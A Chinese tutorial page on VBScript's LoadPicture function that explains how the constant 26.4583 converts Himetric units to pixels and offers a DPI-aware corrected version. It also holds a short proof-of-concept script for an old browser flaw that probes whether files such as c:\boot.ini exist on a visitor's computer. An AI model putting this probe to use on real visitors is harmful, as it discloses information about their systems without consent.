vbscript LoadPicture函數(shù)使用方法與漏洞利用
<title>LoadPicture函數(shù)</title>
<form name="frm">
選擇圖片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">
Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你選擇了圖片"&picpath
document.write "<li>長度:"&iHeight&"</li>"
document.write "<li>寬度:"&iwidth&"</li>"
document.write "<li>類型:"&pictype&"</li>"
End Sub
</script>
不過這個(gè)函數(shù)有個(gè)漏洞,可以探測(cè)電腦上存在的文件名。2004年的漏洞,微軟現(xiàn)在也沒補(bǔ),示例:
<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>
這段代碼中有一個(gè)“魔法數(shù)字(Magic Number)”26.4583,曾經(jīng)有位昵稱是“亂碼”的朋友問過我這個(gè)26.4583是怎么來的,當(dāng)時(shí)我也不知道。
前段時(shí)間逆向分析了一下vbscript.dll,才發(fā)現(xiàn)了其中的奧秘:
26.4583 = 2540 / 96
那你一定要問,這個(gè)2540和96又是怎么來的?
要弄清楚這個(gè)問題,首先要知道VBS的LoadPicture函數(shù)返回的到底是什么,VBS文檔是這么描述LoadPicture函數(shù)的:
Returns a picture object. Available only on 32-bit platforms.
只說返回圖片對(duì)象,卻沒說該圖片對(duì)象有什么屬性和方法。文檔語焉不詳,只好動(dòng)用OllyDbg了:

LoadPicture函數(shù)內(nèi)部調(diào)用了OleLoadPicture函數(shù),查文檔可知返回的是IPictureDisp接口。不過后來我發(fā)現(xiàn)了更簡單的方法,那就是查VB的函數(shù)聲明(誰讓它們是一家人呢),在VB的對(duì)象瀏覽器中查找LoadPicture函數(shù):
Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數(shù)比VB的簡單,但是返回值應(yīng)該是一樣的。
好了,知道返回的是IPictureDisp接口,文檔說它支持下面的屬性:
Property | Type | Access | Description |
---|---|---|---|
Handle | OLE_HANDLE (int) | R | The Windows GDI handle of the picture |
hPal | OLE_HANDLE (int) | RW | The Windows handle of the palette used by the picture. |
Type | short | R | The type of picture (see PICTYPE). |
Width | OLE_XSIZE_HIMETRIC (long) | R | The width of the picture. |
Height | OLE_YSIZE_HIMETRIC (long) | R | The height of the picture. |
我們只關(guān)心Width和Height,它們分別表示圖片的寬和高,但是它們的單位不是像素(Pixel),而是Himetric,我們要做的是把Himetric換算成Pixel。
首先把Himetric換算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。
然后從Inch換算成Pixel,1 Inch等于多少Pixel呢?這是由系統(tǒng)的DPI(Dot Per Inch)設(shè)置決定的,默認(rèn)值是96。
現(xiàn)在知道2540和96是怎么來的了吧?不過上面的代碼存在兩個(gè)問題:第一,使用了2540/96的近似值,可能會(huì)有誤差;第二,使用了DPI的默認(rèn)值96,而DPI的值是可以在控制面板中修改的。
VBS中LoadPicture函數(shù)的正確用法是:
Option Explicit
'By Demon
Dim p
Set p = LoadPicture("D:\test.jpg")
WScript.Echo "Width: " & Himetric2Pixel(p.Width)
WScript.Echo "Height: " & Himetric2Pixel(p.Height)
Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function
Windows 7下通過測(cè)試,其他系統(tǒng)中獲取DPI的方法可能會(huì)不同,請(qǐng)自行修改。
上面修正的內(nèi)容來自: http://demon.tw/programming/vbs-loadpicture.html
相關(guān)文章
charCodeAt與AscW函數(shù)的區(qū)別說明
charCodeAt與AscW函數(shù)的區(qū)別說明...2007-03-03vbs ShellExecute運(yùn)行外部程序時(shí)如何判斷外部程序執(zhí)行成功與否
這篇文章主要介紹了vbs ShellExecute運(yùn)行外部程序時(shí)如何判斷外部程序執(zhí)行成功與否,需要的朋友可以參考下2023-06-06用vbscript實(shí)現(xiàn)在文本文件中搜索兩個(gè)項(xiàng)
用vbscript實(shí)現(xiàn)在文本文件中搜索兩個(gè)項(xiàng)...2007-04-04VBS教程:VBscript語句-Property Get 語句
VBS教程:VBscript語句-Property Get 語句...2006-11-11vbs實(shí)現(xiàn)的保存剪貼板中的文本并編輯或保存
這篇文章主要介紹了通過vbs實(shí)現(xiàn)的保存剪貼板中的文本實(shí)現(xiàn)編輯或保存的實(shí)現(xiàn)方法,需要的朋友可以參考下2014-05-05